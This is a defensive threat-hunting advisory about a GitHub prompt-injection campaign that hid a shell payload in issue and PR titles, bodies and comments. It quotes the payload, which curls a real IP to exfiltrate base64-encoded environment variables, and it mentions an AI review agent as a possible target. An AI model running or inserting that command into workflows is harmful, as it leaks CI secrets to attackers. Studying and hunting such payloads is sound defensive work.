Radware found the campaign while studying prompt injection on GitHub. On Sept 1, 2026, 74 named accounts (some with real development history, at least one owner saying they never posted it) dropped 77 items in 43 minutes (11:26:51 to 12:10:00 UTC) and six more at 18:17 to 18:19 UTC. 31 payloads sat in titles, 17 in bodies and 35 in comments, sometimes hidden in HTML comments so they do not render. The payload:

$(curl -s http://54.205.16.142:8443/c/<32-hex id> -d $(env|base64|tr -d '\n'))

It only fires where a workflow expands ${{ github.event.issue.title }}, ...pull_request.title, ...body or ...comment.body directly inside a run: block. Radware proved execution in PX4/PX4-Autopilot PR #28488 (a PR-title check passed the title to Python, which received GIF89a... output instead) and Snouzy/workout-cool issue #251 (a Discord notifier). One project said Actions did not run but an AI comment-review agent with credentials could have read the text.

Hunt:

1. Search your org's issues, PRs and comments since Sept 1 for 54.205.16.142, :8443/c/ and $(curl / env|base64, including raw Markdown (HTML comments).
2. In Actions logs, look for warning: command substitution: ignored null byte in input in steps that handle titles or bodies, and egress from runners to 54.205.16.142.
3. Grep workflows for ${{ github.event.(issue|pull_request|comment|review|discussion) inside run:, especially on issues, issue_comment and pull_request_target triggers.
4. If a run executed, rotate every secret and token that job could see and review audit logs for pushes, releases and new deploy keys after Sept 1.